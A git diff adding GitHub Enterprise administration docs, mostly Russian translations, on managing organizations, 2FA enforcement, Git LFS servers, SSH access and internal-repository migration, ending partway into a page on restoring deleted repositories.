+{% endif %} diff --git a/translations/ru-RU/content/admin/user-management/managing-organizations-in-your-enterprise/preventing-users-from-creating-organizations.md b/translations/ru-RU/content/admin/user-management/managing-organizations-in-your-enterprise/preventing-users-from-creating-organizations.md new file mode 100644 index 000000000000..20db6c7d08f2 --- /dev/null +++ b/translations/ru-RU/content/admin/user-management/managing-organizations-in-your-enterprise/preventing-users-from-creating-organizations.md @@ -0,0 +1,27 @@ +--- +title: Запрет на создание организаций пользователями +redirect_from: + - /enterprise/admin/articles/preventing-users-from-creating-organizations + - /enterprise/admin/hidden/preventing-users-from-creating-organizations + - /enterprise/admin/user-management/preventing-users-from-creating-organizations + - /admin/user-management/preventing-users-from-creating-organizations +intro: Вы можете запретить пользователям создавать организации в пределах предприятия. +versions: + ghes: '*' + ghae: '*' +type: how_to +topics: + - Enterprise + - Organizations + - Policies +shortTitle: Prevent organization creation +ms.openlocfilehash: 418a2ceb1f8c059764d84e4565d0719c38ed4d9b +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145116299' +--- +{% data reusables.enterprise-accounts.access-enterprise %} {% ifversion ghes or ghae %} {% data reusables.enterprise-accounts.policies-tab %} {% else %} {% data reusables.enterprise-accounts.settings-tab %} {% endif %} {% data reusables.enterprise-accounts.options-tab %} +4. В разделе "Пользователи могут создавать организации" в раскрывающемся меню выберите **Включено** или **Отключено**. +![Раскрывающееся меню "Пользователи могут создавать организации"](/assets/images/enterprise/site-admin-settings/users-create-orgs-dropdown.png) diff --git a/translations/ru-RU/content/admin/user-management/managing-organizations-in-your-enterprise/removing-organizations-from-your-enterprise.md b/translations/ru-RU/content/admin/user-management/managing-organizations-in-your-enterprise/removing-organizations-from-your-enterprise.md new file mode 100644 index 000000000000..8efe2fbf4fab --- /dev/null +++ b/translations/ru-RU/content/admin/user-management/managing-organizations-in-your-enterprise/removing-organizations-from-your-enterprise.md @@ -0,0 +1,36 @@ +--- +title: Удаление организаций из предприятия +intro: 'Если организация больше не должна быть частью предприятия, ее можно удалить.' +permissions: Enterprise owners can remove any organization from their enterprise. +versions: + ghec: '*' +type: how_to +topics: + - Enterprise +shortTitle: Removing organizations +ms.openlocfilehash: 8645e8f6d424ee8a02ae5d414e9901173df460aa +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145115136' +--- +{% warning %} + +**Предупреждение.** При удалении организации из предприятия: +- выставление счетов, управление удостоверениями, требования двухфакторной проверки подлинности и другие политики для организации больше не будут находиться под управлением вашего предприятия; +- уровень организации будет понижен до бесплатного плана; +- к организации будет применены наши стандартные условия обслуживания; +- все внутренние репозитории в организации будут преобразованы в частные репозитории. + +{% endwarning %} + +## Удаление организации из предприятия + +{% data reusables.enterprise-accounts.access-enterprise %} +2. В разделе "Организации" в строке поиска начните вводить имя организации, пока оно не появится в результатах поиска. +![Снимок экрана: поле поиска для организаций](/assets/images/help/enterprises/organization-search.png) +3. Справа от имени организации выберите раскрывающееся меню {% octicon "gear" aria-label="The gear icon" %} и щелкните **Удалить организацию**. +![Снимок экрана: организация в результатах поиска](/assets/images/help/enterprises/remove-organization.png) +4. Прочтите предупреждения, а затем нажмите кнопку **Удалить организацию**. +![Снимок экрана: предупреждающее сообщение и кнопка для удаления организации](/assets/images/help/enterprises/remove-organization-warning.png) diff --git a/translations/ru-RU/content/admin/user-management/managing-organizations-in-your-enterprise/removing-users-from-teams-and-organizations.md b/translations/ru-RU/content/admin/user-management/managing-organizations-in-your-enterprise/removing-users-from-teams-and-organizations.md new file mode 100644 index 000000000000..6062ac8cd4bb --- /dev/null +++ b/translations/ru-RU/content/admin/user-management/managing-organizations-in-your-enterprise/removing-users-from-teams-and-organizations.md @@ -0,0 +1,60 @@ +--- +title: Удаление пользователей из команд и организаций +intro: 'Если участнику вашей организации больше не требуется доступ к определенным репозиториям, их можно удалить из команды, которая разрешает доступ. Если участнику организации больше не требуется доступ к репозиториям, принадлежащим организации, можно удалить их из организации.' +redirect_from: + - /enterprise/admin/user-management/removing-users-from-teams-and-organizations + - /admin/user-management/removing-users-from-teams-and-organizations +versions: + ghes: '*' + ghae: '*' +type: how_to +topics: + - Access management + - Accounts + - Enterprise + - Teams +shortTitle: Remove user membership +ms.openlocfilehash: 575cc032786b2bbbf264104002f503b5061df8e6 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145116296' +--- +Удалять членов организации могут только владельцы или администраторы команды. Когда пользователь удаляется из команды или организации, их проблемы, запросы на вытягивание и комментарии в репозиториях организации остаются неизменными и по-прежнему приписываются пользователю. + +{% warning %} + +**Предупреждение.** При удалении из организации пользователь потеряет доступ к частным вилкам, которые у него есть в **частных репозиториях** организации. У него по-прежнему могут быть локальные копии этих вилок. Однако он не сможет синхронизировать их с репозиториями организации. Вы несете ответственность за то, чтобы пользователи, которые потеряли доступ к репозиторию, удалили любую конфиденциальную информацию или интеллектуальную собственность. Если пользователь, удаленный из организации, был членом организации, его доступ к частным вилкам репозиториев организации можно восстановить при условии, что пользователь [восстановлен в качестве члена организации](/articles/reinstating-a-former-member-of-your-organization) в течение трех месяцев после удаления из организации. + +{% endwarning %} + +## Удаление члена команды + +{% ifversion ghes %} + +{% warning %} + +**Примечание.** {% data reusables.enterprise_management_console.badge_indicator %} + +Чтобы удалить существующего члена команды, синхронизированной с группой LDAP, обратитесь к администратору LDAP. + +{% endwarning %} + +{% endif %} + +{% data reusables.profile.access_org %} {% data reusables.user-settings.access_org %} {% data reusables.organizations.specific_team %} +4. Выберите одного или нескольких пользователей, которых нужно удалить. +![Флажок рядом с членом организации](/assets/images/help/teams/team-member-check-box.png) +5. Над списком членов группы используйте раскрывающееся меню и нажмите щелкните **Удалить из команды**. +![Раскрывающееся меню с параметром для изменения роли](/assets/images/help/teams/bulk-edit-drop-down.png) + +## Удаление пользователя из организации + +{% data reusables.profile.access_org %} {% data reusables.user-settings.access_org %} {% data reusables.organizations.people %} +4. Рядом с именами пользователей, которых вы хотите удалить из организации, установите флажок. +![Флажок удаления пользователя](/assets/images/help/organizations/Organization-remove-user.png) +5. В верхней части страницы под именем организации нажмите кнопку **Удалить из организации**. +![Кнопка "Удалить из организации"](/assets/images/help/organizations/Organization-remove-from-organization-button.png) + +{% data reusables.organizations.data_saved_for_reinstating_a_former_org_member %} diff --git a/translations/ru-RU/content/admin/user-management/managing-organizations-in-your-enterprise/requiring-two-factor-authentication-for-an-organization.md b/translations/ru-RU/content/admin/user-management/managing-organizations-in-your-enterprise/requiring-two-factor-authentication-for-an-organization.md new file mode 100644 index 000000000000..103d51e4a995 --- /dev/null +++ b/translations/ru-RU/content/admin/user-management/managing-organizations-in-your-enterprise/requiring-two-factor-authentication-for-an-organization.md @@ -0,0 +1,72 @@ +--- +title: Requiring two-factor authentication for an organization +intro: 'You can require organization members and outside collaborators to enable two-factor authentication for their personal accounts in an organization, making it harder for malicious actors to access an organization''s repositories and settings.' +redirect_from: + - /enterprise/admin/user-management/requiring-two-factor-authentication-for-an-organization + - /admin/user-management/requiring-two-factor-authentication-for-an-organization +versions: + ghes: '*' +type: how_to +topics: + - 2FA + - Enterprise + - Organizations + - Policies + - Security +shortTitle: Require 2FA +--- +When using LDAP or built-in authentication, two-factor authentication is supported on {% data variables.location.product_location %}. Organization administrators can require members to have two-factor authentication enabled. + +{% data reusables.enterprise_user_management.external_auth_disables_2fa %} + +For more information, see "[About two-factor authentication](/github/authenticating-to-github/about-two-factor-authentication)." + +## Requirements for enforcing two-factor authentication + +Before you can require organization members and outside collaborators to use 2FA, you must [enable two-factor authentication](/enterprise/user/articles/securing-your-account-with-two-factor-authentication-2fa/) for your own personal account. + +{% warning %} + +**Warnings:** + +- When your require two-factor authentication, members and outside collaborators (including bot accounts) who do not use 2FA will be removed from the organization and lose access to its repositories, including their forks of private repositories. If they enable 2FA for their personal account within three months of being removed from the organization, you can [reinstate their access privileges and settings](/enterprise/user/articles/reinstating-a-former-member-of-your-organization). +- When 2FA is required, organization members or outside collaborators who disable 2FA will automatically be removed from the organization. +- If you're the sole owner of an organization that requires two-factor authentication, you won't be able to disable 2FA for your personal account without disabling required two-factor authentication for the organization. + +{% endwarning %} + +Before you require use of two-factor authentication, we recommend notifying organization members and outside collaborators and asking them to set up 2FA for their accounts. You can [see if members and outside collaborators already use 2FA](/enterprise/user/articles/viewing-whether-users-in-your-organization-have-2fa-enabled) on an organization's People tab. + +{% data reusables.profile.access_org %} +{% data reusables.profile.org_settings %} +{% data reusables.organizations.security %} +{% data reusables.organizations.require_two_factor_authentication %} +{% data reusables.organizations.removed_outside_collaborators %} + +## Viewing people who were removed from your organization + +To view people who were automatically removed from your organization for non-compliance when you required two-factor authentication, you can [search the audit log](/enterprise/admin/guides/installation/searching-the-audit-log/) using `reason:two_factor_requirement_non_compliance` in the search field. + +{% data reusables.audit_log.octicon_icon %} +{% data reusables.enterprise_site_admin_settings.access-settings %} +{% data reusables.audit_log.audit_log_sidebar_for_site_admins %} +4. Enter your search query using `reason:two_factor_requirement_non_compliance`. + ![Staff tools audit log event showing a user removed for 2FA non-compliance](/assets/images/help/2fa/2fa_noncompliance_stafftools_audit_log_search.png) + To narrow your search for: + - Organizations members removed, enter `action:org.remove_member AND reason:two_factor_requirement_non_compliance` + - Outside collaborators removed, enter `action:org.remove_outside_collaborator AND reason:two_factor_requirement_non_compliance` + + You can also view people removed from a particular organization by using the organization name in your search: + - `org:octo-org AND reason:two_factor_requirement_non_compliance` +5. Click **Search**. + +## Helping removed members and outside collaborators rejoin your organization + +If any members or outside collaborators are removed from the organization when you enable required use of two-factor authentication, they'll receive an email notifying them that they've been removed. They should then enable 2FA for their personal account, and contact an organization owner to request access to your organization. + +## Further reading + +- "[Viewing whether users in your organization have 2FA enabled](/enterprise/user/articles/viewing-whether-users-in-your-organization-have-2fa-enabled)" +- "[Securing your account with two-factor authentication (2FA)](/enterprise/user/articles/securing-your-account-with-two-factor-authentication-2fa)" +- "[Reinstating a former member of your organization](/enterprise/user/articles/reinstating-a-former-member-of-your-organization)" +- "[Reinstating a former outside collaborator's access to your organization](/enterprise/user/articles/reinstating-a-former-outside-collaborator-s-access-to-your-organization)" diff --git a/translations/ru-RU/content/admin/user-management/managing-organizations-in-your-enterprise/restoring-a-deleted-organization.md b/translations/ru-RU/content/admin/user-management/managing-organizations-in-your-enterprise/restoring-a-deleted-organization.md new file mode 100644 index 000000000000..d30c17604140 --- /dev/null +++ b/translations/ru-RU/content/admin/user-management/managing-organizations-in-your-enterprise/restoring-a-deleted-organization.md @@ -0,0 +1,53 @@ +--- +title: Restoring a deleted organization +intro: 'You can partially restore an organization that was previously deleted on {% data variables.location.product_location %}.' +versions: + ghes: '*' +type: how_to +topics: + - Administrator + - Enterprise + - Organizations +shortTitle: Restore organization +permissions: 'Site administers can restore an organization on {% data variables.product.product_name %}.' +--- + +## About organization restoration + +You can use the site admin dashboard to restore an organization that was previously deleted on {% data variables.location.product_location %}, as long as the audit log Elasticsearch indices contain the data for the `org.delete` event. + +Immediately after you restore an organization, the organization will not be exactly the same as it was prior to the deletion. You'll have to manually restore any repositories that were owned by the organization. For more information, see "[Restoring a deleted repository](/admin/user-management/managing-repositories-in-your-enterprise/restoring-a-deleted-repository)." + +You can also use the audit log to help you manually re-add teams and organization members. For more information, see "[Restoring members and teams](#restoring-members-and-teams)." + +## Restoring an organization + +{% data reusables.enterprise_site_admin_settings.access-settings %} +1. Under "Search users, organizations, enterprises, teams, repositories, gists, and applications", search for the organization. + + ![Screenshot of the search field and Search button](/assets/images/enterprise/stafftools/search-field.png) + +1. Under "Deleted accounts", to the right of the organization you want to restore, select the {% octicon "kebab-horizontal" aria-label="The edit icon" %} dropdown menu, then click **Recreate**. + + ![Screenshot of the dropdown menu for a deleted organization](/assets/images/enterprise/stafftools/recreate-organization.png) + +## Restoring members and teams + +You can use the audit log to find a list of the previous members and teams of the organization, then recreate them manually. For more information about using the audit log, see "[Auditing users across your enterprise](/admin/user-management/managing-users-in-your-enterprise/auditing-users-across-your-enterprise)." + +In all the search phrases below, replace ORGANIZATION with the name of the organization and TEAM with the name of the team. + +### Restoring organization members + +1. To find all users who were added to and removed from the organization, search the audit log for `action:org.add_member org:ORGANIZATION` and `action:org.remove_member org:ORGANIZATION`. +1. Manually add to the organization each user that should still be a member. For more information, see "[Adding people to your organization](/organizations/managing-membership-in-your-organization/adding-people-to-your-organization)." + +### Restoring teams + +1. To find each team name, search the audit log for `action:team.create org:ORGANIZATION`. +1. Manually recreate the team. For more information, see "[Creating a team](/organizations/organizing-members-into-teams/creating-a-team)." +1. To find the members that have been added to each team, search for `action:team.add_member team:"ORGANIZATION/TEAM"`. +1. Manually re-add the team members. For more information, see "[Adding organization members to a team](/organizations/organizing-members-into-teams/adding-organization-members-to-a-team)." +1. To find the repositories that the team was granted access to, search for `action:team.add_repository team:"ORGANIZATION/TEAM"`. +1. To find the access level that the team was granted for each repository, search for `action:team.update_repository_permission team:"ORGANIZATION/TEAM"`. +1. Manually give the team access again. For more information, see "[Managing team access to an organization repository](/organizations/managing-access-to-your-organizations-repositories/managing-team-access-to-an-organization-repository)." diff --git a/translations/ru-RU/content/admin/user-management/managing-repositories-in-your-enterprise/configuring-git-large-file-storage-for-your-enterprise.md b/translations/ru-RU/content/admin/user-management/managing-repositories-in-your-enterprise/configuring-git-large-file-storage-for-your-enterprise.md new file mode 100644 index 000000000000..c8f5a6829139 --- /dev/null +++ b/translations/ru-RU/content/admin/user-management/managing-repositories-in-your-enterprise/configuring-git-large-file-storage-for-your-enterprise.md @@ -0,0 +1,145 @@ +--- +title: Configuring Git Large File Storage for your enterprise +intro: '{% data reusables.enterprise_site_admin_settings.configuring-large-file-storage-short-description %}' +redirect_from: + - /enterprise/admin/guides/installation/configuring-git-large-file-storage-on-github-enterprise + - /enterprise/admin/installation/configuring-git-large-file-storage-on-github-enterprise-server + - /enterprise/admin/installation/configuring-git-large-file-storage + - /enterprise/admin/installation/configuring-git-large-file-storage-to-use-a-third-party-server + - /enterprise/admin/installation/migrating-to-a-different-git-large-file-storage-server + - /enterprise/admin/articles/configuring-git-large-file-storage-for-a-repository + - /enterprise/admin/articles/configuring-git-large-file-storage-for-every-repository-owned-by-a-user-account-or-organization + - /enterprise/admin/articles/configuring-git-large-file-storage-for-your-appliance + - /enterprise/admin/guides/installation/migrating-to-different-large-file-storage-server + - /enterprise/admin/user-management/configuring-git-large-file-storage-for-your-enterprise + - /admin/user-management/configuring-git-large-file-storage-for-your-enterprise +versions: + ghes: '*' + ghae: '*' +type: how_to +topics: + - Git + - Enterprise + - LFS + - Storage +shortTitle: Configure Git LFS +--- +## About {% data variables.large_files.product_name_long %} + +{% data reusables.enterprise_site_admin_settings.configuring-large-file-storage-short-description %} You can use {% data variables.large_files.product_name_long %} with a single repository, all of your personal or organization repositories, or with every repository in your enterprise. Before you can enable {% data variables.large_files.product_name_short %} for specific repositories or organizations, you need to enable {% data variables.large_files.product_name_short %} for your enterprise. + +{% data reusables.large_files.storage_assets_location %} +{% data reusables.large_files.rejected_pushes %} + +For more information, see "[About {% data variables.large_files.product_name_long %}](/articles/about-git-large-file-storage)", "[Versioning large files](/enterprise/user/articles/versioning-large-files/)," and the [{% data variables.large_files.product_name_long %} project site](https://git-lfs.github.com/). + +{% data reusables.large_files.can-include-lfs-objects-archives %} + +## Configuring {% data variables.large_files.product_name_long %} for your enterprise + +{% data reusables.enterprise-accounts.access-enterprise %} +{% ifversion ghes or ghae %} +{% data reusables.enterprise-accounts.policies-tab %} +{% else %} +{% data reusables.enterprise-accounts.settings-tab %} +{% endif %} +{% data reusables.enterprise-accounts.options-tab %} +4. Under "{% data variables.large_files.product_name_short %} access", use the drop-down menu, and click **Enabled** or **Disabled**. +![Git LFS Access](/assets/images/enterprise/site-admin-settings/git-lfs-admin-center.png) + +## Configuring {% data variables.large_files.product_name_long %} for an individual repository + +{% data reusables.enterprise_site_admin_settings.override-policy %} + +{% data reusables.enterprise_site_admin_settings.access-settings %} +{% data reusables.enterprise_site_admin_settings.repository-search %} +{% data reusables.enterprise_site_admin_settings.click-repo %} +{% data reusables.enterprise_site_admin_settings.admin-top-tab %} +{% data reusables.enterprise_site_admin_settings.admin-tab %} +{% data reusables.enterprise_site_admin_settings.git-lfs-toggle %} + +## Configuring {% data variables.large_files.product_name_long %} for every repository owned by a user account or organization + +{% data reusables.enterprise_site_admin_settings.access-settings %} +{% data reusables.enterprise_site_admin_settings.search-user-or-org %} +{% data reusables.enterprise_site_admin_settings.click-user-or-org %} +{% data reusables.enterprise_site_admin_settings.admin-top-tab %} +{% data reusables.enterprise_site_admin_settings.admin-tab %} +{% data reusables.enterprise_site_admin_settings.git-lfs-toggle %} + +{% ifversion ghes %} +## Configuring Git Large File Storage to use a third party server + +{% data reusables.large_files.storage_assets_location %} +{% data reusables.large_files.rejected_pushes %} + +1. Disable {% data variables.large_files.product_name_short %} on {% data variables.location.product_location %}. For more information, see "[Configuring {% data variables.large_files.product_name_long %} for your enterprise](#configuring-git-large-file-storage-for-your-enterprise)." + +2. Create a {% data variables.large_files.product_name_short %} configuration file that points to the third party server. + ```shell + # Show default configuration + $ git lfs env + > git-lfs/1.1.0 (GitHub; darwin amd64; go 1.5.1; git 94d356c) + > git version 2.7.4 (Apple Git-66) +   + > Endpoint=https://GITHUB-ENTERPRISE-HOST/path/to/repo/info/lfs (auth=basic) +   + # Create .lfsconfig that points to third party server. + $ git config -f .lfsconfig remote.origin.lfsurl https://THIRD-PARTY-LFS-SERVER/path/to/repo + $ git lfs env + > git-lfs/1.1.0 (GitHub; darwin amd64; go 1.5.1; git 94d356c) + > git version 2.7.4 (Apple Git-66) +   + > Endpoint=https://THIRD-PARTY-LFS-SERVER/path/to/repo/info/lfs (auth=none) +   + # Show the contents of .lfsconfig + $ cat .lfsconfig + [remote "origin"] + lfsurl = https://THIRD-PARTY-LFS-SERVER/path/to/repo + ``` + +3. To keep the same {% data variables.large_files.product_name_short %} configuration for each user, commit a custom `.lfsconfig` file to the repository. + ```shell + $ git add .lfsconfig + $ git commit -m "Adding LFS config file" + ``` +3. Migrate any existing {% data variables.large_files.product_name_short %} assets. For more information, see "[Migrating to a different {% data variables.large_files.product_name_long %} server](#migrating-to-a-different-git-large-file-storage-server)." + +## Migrating to a different Git Large File Storage server + +Before migrating to a different {% data variables.large_files.product_name_long %} server, you must configure {% data variables.large_files.product_name_short %} to use a third party server. For more information, see "[Configuring {% data variables.large_files.product_name_long %} to use a third party server](#configuring-git-large-file-storage-to-use-a-third-party-server)." + +1. Configure the repository with a second remote. + ```shell + $ git remote add NEW-REMOTE https://NEW-REMOTE-HOSTNAME/path/to/repo +   + $ git lfs env + > git-lfs/1.1.0 (GitHub; darwin amd64; go 1.5.1; git 94d356c) + > git version 2.7.4 (Apple Git-66) +   + > Endpoint=https://GITHUB-ENTERPRISE-HOST/path/to/repo/info/lfs (auth=basic) + > Endpoint (NEW-REMOTE)=https://NEW-REMOTE-HOSTNAME/path/to/repo/info/lfs (auth=none) + ``` + +2. Fetch all objects from the old remote. + ```shell + $ git lfs fetch origin --all + > Scanning for all objects ever referenced... + > ✔ 16 objects found + > Fetching objects... + > Git LFS: (16 of 16 files) 48.71 MB / 48.85 MB + ``` + +3. Push all objects to the new remote. + ```shell + $ git lfs push NEW-REMOTE --all + > Scanning for all objects ever referenced... + > ✔ 16 objects found + > Pushing objects... + > Git LFS: (16 of 16 files) 48.00 MB / 48.85 MB, 879.10 KB skipped + ``` +{% endif %} + +## Further reading + +- [{% data variables.large_files.product_name_long %} project site](https://git-lfs.github.com/) diff --git a/translations/ru-RU/content/admin/user-management/managing-repositories-in-your-enterprise/disabling-git-ssh-access-on-your-enterprise.md b/translations/ru-RU/content/admin/user-management/managing-repositories-in-your-enterprise/disabling-git-ssh-access-on-your-enterprise.md new file mode 100644 index 000000000000..806165f00c22 --- /dev/null +++ b/translations/ru-RU/content/admin/user-management/managing-repositories-in-your-enterprise/disabling-git-ssh-access-on-your-enterprise.md @@ -0,0 +1,53 @@ +--- +title: Отключение доступа по протоколу SSH Git на предприятии +redirect_from: + - /enterprise/admin/hidden/disabling-ssh-access-for-a-user-account + - /enterprise/admin/articles/disabling-ssh-access-for-a-user-account + - /enterprise/admin/hidden/disabling-ssh-access-for-your-appliance + - /enterprise/admin/articles/disabling-ssh-access-for-your-appliance + - /enterprise/admin/hidden/disabling-ssh-access-for-an-organization + - /enterprise/admin/articles/disabling-ssh-access-for-an-organization + - /enterprise/admin/hidden/disabling-ssh-access-to-a-repository + - /enterprise/admin/articles/disabling-ssh-access-to-a-repository + - /enterprise/admin/guides/installation/disabling-git-ssh-access-on-github-enterprise + - /enterprise/admin/installation/disabling-git-ssh-access-on-github-enterprise-server + - /enterprise/admin/user-management/disabling-git-ssh-access-on-github-enterprise-server + - /admin/user-management/disabling-git-ssh-access-on-github-enterprise-server + - /admin/user-management/disabling-git-ssh-access-on-your-enterprise +intro: Вы можете запретить пользователям использовать Git по протоколу SSH для некоторых или всех репозиториев в рамках предприятия. +versions: + ghes: '*' + ghae: '*' +type: how_to +topics: + - Enterprise + - Policies + - Security + - SSH +shortTitle: Disable SSH for Git +ms.openlocfilehash: f7035afb11746e4596410724082d3d5e5bf288a1 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145116283' +--- +## Отключение доступа по протоколу Git SSH к определенному репозиторию + +{% data reusables.enterprise_site_admin_settings.override-policy %} + +{% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.repository-search %} {% data reusables.enterprise_site_admin_settings.click-repo %} {% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.admin-top-tab %} {% data reusables.enterprise_site_admin_settings.admin-tab %} +1. В разделе «Доступ по протоколу SSH Git» используйте раскрывающееся меню и нажмите кнопку **Отключено**. + ![Раскрывающееся меню доступа по протоколу Git SSH с выбранным параметром «Отключено»](/assets/images/enterprise/site-admin-settings/git-ssh-access-repository-setting.png) + +## Отключение доступа Git SSH ко всем репозиториям, принадлежащим пользователю или организации + +{% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.search-user-or-org %} {% data reusables.enterprise_site_admin_settings.click-user-or-org %} {% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.admin-top-tab %} {% data reusables.enterprise_site_admin_settings.admin-tab %} +7. В разделе «Доступ по протоколу SSH Git» используйте раскрывающееся меню и нажмите кнопку **Отключено**. Затем выберите **Применить ко всем репозиториям**. + ![Раскрывающееся меню доступа по протоколу Git SSH с выбранным параметром «Отключено»](/assets/images/enterprise/site-admin-settings/git-ssh-access-organization-setting.png) + +## Отключение доступа по протоколу Git SSH ко всем репозиториям в организации + +{% data reusables.enterprise-accounts.access-enterprise %} {% ifversion ghes or ghae %} {% data reusables.enterprise-accounts.policies-tab %} {% else %} {% data reusables.enterprise-accounts.settings-tab %} {% endif %} {% data reusables.enterprise-accounts.options-tab %} +7. В разделе «Доступ по протоколу SSH Git» используйте раскрывающееся меню и нажмите кнопку **Отключено**. Затем выберите **Применить ко всем репозиториям**. + ![Раскрывающееся меню доступа по протоколу Git SSH с выбранным параметром «Отключено»](/assets/images/enterprise/site-admin-settings/git-ssh-access-appliance-setting.png) diff --git a/translations/ru-RU/content/admin/user-management/managing-repositories-in-your-enterprise/index.md b/translations/ru-RU/content/admin/user-management/managing-repositories-in-your-enterprise/index.md new file mode 100644 index 000000000000..2ab305db7034 --- /dev/null +++ b/translations/ru-RU/content/admin/user-management/managing-repositories-in-your-enterprise/index.md @@ -0,0 +1,26 @@ +--- +title: Управление репозиториями на предприятии +intro: 'Вы можете управлять параметрами, которые доступны администраторам репозитория в организации.' +redirect_from: + - /enterprise/admin/user-management/repositories + - /enterprise/admin/user-management/managing-repositories-in-your-enterprise +versions: + ghes: '*' + ghae: '*' +topics: + - Enterprise +children: + - /configuring-git-large-file-storage-for-your-enterprise + - /migrating-to-internal-repositories + - /disabling-git-ssh-access-on-your-enterprise + - /restoring-a-deleted-repository + - /troubleshooting-service-hooks +shortTitle: Manage repositories +ms.openlocfilehash: f4d2fd29e52414b7f842fced651ff6bf46d4b53b +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145115123' +--- + diff --git a/translations/ru-RU/content/admin/user-management/managing-repositories-in-your-enterprise/migrating-to-internal-repositories.md b/translations/ru-RU/content/admin/user-management/managing-repositories-in-your-enterprise/migrating-to-internal-repositories.md new file mode 100644 index 000000000000..617b80980118 --- /dev/null +++ b/translations/ru-RU/content/admin/user-management/managing-repositories-in-your-enterprise/migrating-to-internal-repositories.md @@ -0,0 +1,70 @@ +--- +title: Переход на внутренние репозитории +intro: 'Вы можете выполнить миграцию во внутренние репозитории, чтобы унифицировать взаимодействие с внутренним источником для разработчиков с помощью {% data variables.product.prodname_ghe_server %} и {% data variables.product.prodname_ghe_cloud %}.' +redirect_from: + - /enterprise/admin/installation/migrating-to-internal-repositories + - /enterprise/admin/user-management/migrating-to-internal-repositories + - /admin/user-management/migrating-to-internal-repositories +permissions: Site administrators can migrate to internal repositories. +versions: + ghes: '*' +type: how_to +topics: + - Enterprise + - Privacy + - Repositories + - Security +shortTitle: Internal repository migration +ms.openlocfilehash: 66a535d8fd2e20cbcc78791588ca2b50ae8ede79 +ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '147878769' +--- +## Сведения о внутренних репозиториях + +Внутренние репозитории доступны в {% data variables.product.prodname_ghe_server %} 2,20+. {% data reusables.repositories.about-internal-repos %} Дополнительные сведения см. в разделе [Сведения о репозиториях](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility). + +В будущих выпусках {% data variables.product.prodname_ghe_server %} мы настроим видимость репозитория, чтобы термины «общедоступный», «внутренний» и «частный» использовались в одном и том же значении для разработчиков в {% data variables.product.prodname_ghe_server %} и {% data variables.product.prodname_ghe_cloud %}. + +Чтобы подготовиться к этим изменениям, когда у вас включен режим «Частный», можно выполнить миграцию для экземпляра, чтобы преобразовать общедоступные репозитории во внутренние. В настоящее время такая миграция является необязательной, чтобы можно было протестировать изменения в нерабочих экземплярах. Миграция станет обязательной в будущем. + +При выполнении миграции все общедоступные репозитории, принадлежащие организациям в вашем экземпляре, будут преобразованы во внутренние репозитории. Если у любого из этих репозиториев есть вилки, эти вилки станут частными. Частные репозитории останутся частными. + +Все общедоступные репозитории, принадлежащие учетным записям пользователей в вашем экземпляре, станут частными репозиториями. Если у любого из этих репозиториев есть вилки, эти вилки также станут частными. Владельцу каждой вилки будут предоставлены разрешения на чтение для родительского элемента. + +Анонимный доступ на чтение для Git будет отключен для всех общедоступных репозиториев, которые преобразуются во внутренние или частные репозитории. + +Если для репозиториев в настоящее время по умолчанию используется настройка видимости «Общедоступный», значение по умолчанию изменится на «Внутренний». Если текущее значение по умолчанию — «Закрытый», оно не изменится. Настройку по умолчанию можно изменить в любой момент. Дополнительные сведения см. в разделе [Применение политик управления репозиториями в организации](/admin/policies/enforcing-repository-management-policies-in-your-enterprise#configuring-the-default-visibility-of-new-repositories-in-your-enterprise). + +Политика создания репозитория для экземпляра будет изменена, чтобы отключить общедоступные репозитории и разрешить использовать частные и внутренние репозитории. Политику можно обновить в любое время. Дополнительные сведения см. в разделе [Ограничение создания репозиториев в экземплярах](/enterprise/admin/user-management/restricting-repository-creation-in-your-instance). + +Если у вас не включен режим «Частный», сценарий миграции не сработает. + +## Запуск миграции + +1. Подключение к административной оболочке. Дополнительные сведения см. в разделе [Доступ к административной оболочке (SSH)](/enterprise/admin/installation/accessing-the-administrative-shell-ssh). +{% ifversion ghes or ghae %} +2. Выполните команду переноса. + + ```shell + github-env bin/safe-ruby lib/github/transitions/20191210220630_convert_public_ghes_repos_to_internal.rb --verbose -w | tee -a /tmp/convert_public_ghes_repos_to_internal.log + ``` + +{% else %} +2. Перейдите к каталогу `/data/github/current`. + ```shell + cd /data/github/current + ``` +3. Выполните команду переноса. + ```shell + sudo bin/safe-ruby lib/github/transitions/20191210220630_convert_public_ghes_repos_to_internal.rb --verbose -w | tee -a /tmp/convert_public_ghes_repos_to_internal.log + ``` +{% endif %} + +Выходные данные журнала будут отображаться в терминале и `/tmp/convert_public_ghes_repos_to_internal.log`. + +## Дополнительные материалы + +- [Включение частного режима](/enterprise/admin/installation/enabling-private-mode) diff --git a/translations/ru-RU/content/admin/user-management/managing-repositories-in-your-enterprise/restoring-a-deleted-repository.md b/translations/ru-RU/content/admin/user-management/managing-repositories-in-your-enterprise/restoring-a-deleted-repository.md new file mode 100644 index 000000000000..6b50ba142ad9 --- /dev/null +++ b/translations/ru-RU/content/admin/user-management/managing-repositories-in-your-enterprise/restoring-a-deleted-repository.md @@ -0,0 +1,38 @@ +--- +title: Restoring a deleted repository +intro: You can restore deleted repositories to recover their contents. +permissions: Enterprise owners can restore a deleted repository. +versions: + ghes: '*' + ghae: '*' +topics: + - Enterprise + - Privacy + - Repositories +shortTitle: Restore a deleted repository +--- + +## About 